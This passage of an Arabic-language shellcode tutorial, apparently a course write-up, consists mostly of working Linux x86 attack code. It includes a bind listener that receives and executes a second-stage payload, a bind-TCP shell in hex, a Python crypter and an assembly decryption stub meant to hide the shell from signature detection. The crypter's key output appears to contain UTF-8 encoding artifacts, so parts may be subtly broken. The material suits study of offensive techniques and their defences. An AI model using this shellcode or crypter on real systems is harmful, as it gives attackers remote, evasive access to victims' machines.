	; original: http://shell-storm.org/shellcode/files/shellcode-501.php
	; linux/x86 listens for shellcode on tcp/5555 and jumps to it 83 bytes
	; length 94
	section .text
global _start

_start:
	sub eax, eax	; replaced
	imul ebx, eax	; replaced
	imul edx, eax	; replaced

_socket:
	push 0x6
	push 0x1
	push 0x2
	add al, 0x66	; replaced
	add bl, 1	; replaced
	lea ecx, [esp] ; replaced
	int 0x80

_bind:
	mov edi, eax	; placing descriptor
	push edx
	push WORD 0xb315	;/* 5555 */
	push WORD 2
	lea ecx, [esp]	; replaced
	push 16
	push ecx
	push edi
	xor eax, eax	; replaced
	add al, 0x66	; replaced
	add bl, 1	; replaced
	lea ecx, [esp]	; replaced
	int 0x80

_listen:
	mov bl, 4	; replaced
	push 0x1
	push edi
	add al, 0x66	; replaced
	lea ecx, [esp]	; replaced
	int 0x80

_accept:
	push edx
	push edx
	push edi
	add al, 0x66	; replaced
	mov bl, 5	; replaced
	lea ecx, [esp]	; replaced
	int 0x80
	mov ebx, eax

_read:
	mov al, 0x3
	lea ecx, [esp]	; replaced
	mov dx, 0x7ff
	mov dl, 1	; replaced
	int 0x80
	jmp esp

يفتح كود القشرة هذا الاتصال ، ويتلقى الجزء الثاني من كود القشرة وينفذه.

كود الجزء الثاني:

	section .text
global _start

_start:
	xor eax, eax
	mov al, 1
	xor ebx, ebx
	mov ebx, 100
	int 0x80

صورة

كما ترى ، كان الجزء الثاني من كود القشرة ناجحًا. رمز خروج البرنامج هو 100.

7. التشفير


على الرغم من حقيقة أنه في الدورة التدريبية ، يتم تشفير كود القشرة باستخدام لغة C عالية المستوى ومكتبات مساعدة ، قررت إتمام هذه المهمة في المجمع ، الدورة مخصصة للتجميع ، على الرغم من تبسيط خوارزمية التشفير.

crypter.py

#!/usr/bin/python
# -*- coding: utf-8 -*-

import sys
import random

if len(sys.argv) != 2:
	print("Enter shellcode in hex")
	sys.exit(0)

shellcode = sys.argv[1]
plain_shellcode = bytearray.fromhex(shellcode)

# Generating key
key_length = len(plain_shellcode)
r = ''.join(chr(random.randint(0,255)) for _ in range(key_length))
key = bytearray(r.encode())

encrypted_shellcode = ""
plain_key = ""

for b in range(len(plain_shellcode)):
	enc_b = (plain_shellcode[b] + key[b]) & 255
	encrypted_shellcode += '%02x' % enc_b
	plain_key += '0x'+ '%02x' % key[b] + ','

print('*'*150)
print(encrypted_shellcode)
print('*'*150)
print(plain_key)
print('*'*150)
print(key_length)

أولاً ، قم بإنشاء "هيكل عظمي":

	section .text
global _start

_start:
	; push encrypted shellcode
	<PUSH ENCRYPTED SHELLCODE>

	jmp getdata
next:	pop ebx

	mov esi, esp
	mov edi, esp
	; place key length
	mov ecx, <KEY LENGTH>

decrypt:
	lodsb
	sub al, byte [ebx]
	inc ebx
	stosb
	loop decrypt

	jmp esp
	; exit
	xor eax, eax
	mov al, 1
	xor ebx, ebx
	int 0x80


getdata: call next
	; Place key on next line
	key db <CIPHER KEY>

بالنسبة إلى هذا الرمز ، هناك ثلاثة أشياء ضرورية: تعليمات الدفع باستخدام كود القشرة المشفر وطول المفتاح ومفتاح التشفير نفسه. نقوم بتشفير كود قشرة ربط TCP. طباعة كود التشغيل:

$hexopcode bind_tcp_shell 
31c031db31f6566a016a02b066b30189e1cd8089c25666680929666a0289e16a105152b066b30289e1cd806a0152b066b30489e1cd80565652b066b30589e1cd8089c231c9b10389d349b03fcd8079f931c050682f2f7368682f62696e89e35089e25389e1b00bcd80

سنقوم بتشفيرها:

$./crypter.py 31c031db31f6566a016a02b066b30189e1cd8089c25666680929666a0289e16a105152b066b30289e1cd806a0152b066b30489e1cd80565652b066b30589e1cd8089c231c9b10389d349b03fcd8079f931c050682f2f7368682f62696e89e35089e25389e1b00bcd80
*******************************Encrypted shellcode*******************************
4af2f48df478632d902db527287245fb5d8f38accc18f7b4ccae29ffc514fc2dc614d5e12946c535068f392d921449b111c738a35042da18dd730a75c04b8719c5b93cab8b31554c7fb773fa8f0cb976f37ba483f2bf361ee5f1132c20ba09bf4b86ad4c6f72b78f13
***********************************KEY*******************************************
0x19,0x32,0xc3,0xb2,0xc3,0x82,0x0d,0xc3,0x8f,0xc3,0xb3,0x77,0xc2,0xbf,0x44,0x72,0x7c,0xc2,0xb8,0x23,0x0a,0xc2,0x91,0x4c,0xc3,0x85,0xc3,0x95,0xc3,0x8b,0x1b,0xc3,0xb6,0xc3,0x83,0x31,0xc3,0x93,0xc3,0xac,0x25,0xc2,0xb9,0xc3,0x91,0xc2,0x99,0x4b,0x5e,0xc3,0xaf,0xc2,0x83,0xc2,0x84,0xc2,0x8b,0xc3,0xa4,0xc2,0xbb,0xc2,0xa6,0x4c,0x45,0x30,0x7a,0x7a,0xc2,0x80,0x52,0xc3,0xac,0x6e,0xc3,0xbb,0xc2,0x8c,0x40,0x7d,0xc2,0xbb,0x54,0x1b,0xc3,0x90,0xc3,0xb6,0x7d,0xc2,0xb1,0xc3,0xb2,0x31,0x26,0x6f,0xc2,0xa4,0x5a,0xc3,0x8e,0xc2,0xac,0xc2,0x93,
***********************************KEY LENGTH************************************
105

اطبع تعليمات الدفع لنتائجنا:

$python3 hex2stack.py 4af2f48df478632d902db527287245fb5d8f38accc18f7b4ccae29ffc514fc2dc614d5e12946c535068f392d921449b111c738a35042da18dd730a75c04b8719c5b93cab8b31554c7fb773fa8f0cb976f37ba483f2bf361ee5f1132c20ba09bf4b86ad4c6f72b78f13
	push 0x90909013
	push 0x8fb7726f
        ...

املأ جميع المعلمات الضرورية في ملف asm.

	section .text
global _start

_start:
	; push encrypted shellcode
	push 0x90909013
	push 0x8fb7726f
	push 0x4cad864b
	push 0xbf09ba20
	push 0x2c13f1e5
	push 0x1e36bff2
	push 0x83a47bf3
	push 0x76b90c8f
	push 0xfa73b77f
	push 0x4c55318b
	push 0xab3cb9c5
	push 0x19874bc0
	push 0x750a73dd
	push 0x18da4250
	push 0xa338c711
	push 0xb1491492
	push 0x2d398f06
	push 0x35c54629
	push 0xe1d514c6
	push 0x2dfc14c5
	push 0xff29aecc
	push 0xb4f718cc
	push 0xac388f5d
	push 0xfb457228
	push 0x27b52d90
	push 0x2d6378f4
	push 0x8df4f24a

	jmp getdata
next:	pop ebx

	mov esi, esp
	mov edi, esp
	; place key length
	mov ecx, 105

decrypt:
	lodsb
	sub al, byte [ebx]
	inc ebx
	stosb
	loop decrypt

	jmp esp
	; exit
	xor eax, eax
	mov al, 1
	xor ebx, ebx
	int 0x80


getdata: call next
	; Place key on next line
	key db 0x19,0x32,0xc3,0xb2,0xc3,0x82,0x0d,0xc3,0x8f,0xc3,0xb3,0x77,0xc2,0xbf,0x44,0x72,0x7c,0xc2,0xb8,0x23,0x0a,0xc2,0x91,0x4c,0xc3,0x85,0xc3,0x95,0xc3,0x8b,0x1b,0xc3,0xb6,0xc3,0x83,0x31,0xc3,0x93,0xc3,0xac,0x25,0xc2,0xb9,0xc3,0x91,0xc2,0x99,0x4b,0x5e,0xc3,0xaf,0xc2,0x83,0xc2,0x84,0xc2,0x8b,0xc3,0xa4,0xc2,0xbb,0xc2,0xa6,0x4c,0x45,0x30,0x7a,0x7a,0xc2,0x80,0x52,0xc3,0xac,0x6e,0xc3,0xbb,0xc2,0x8c,0x40,0x7d,0xc2,0xbb,0x54,0x1b,0xc3,0x90,0xc3,0xb6,0x7d,0xc2,0xb1,0xc3,0xb2,0x31,0x26,0x6f,0xc2,0xa4,0x5a,0xc3,0x8e,0xc2,0xac,0xc2,0x93,

نقوم بتجميع:

$nasm32 encrypted_bind

احصل على كود التشغيل من الملف:

$popcode encrypted_bind

ضع كل هذا في shellcode.c ، وقم بترجمته وتشغيله.

صورة

المراجع


يمكن العثور على جميع الروابط إلى الملفات والأمثلة هنا.

المصدر.

All Articles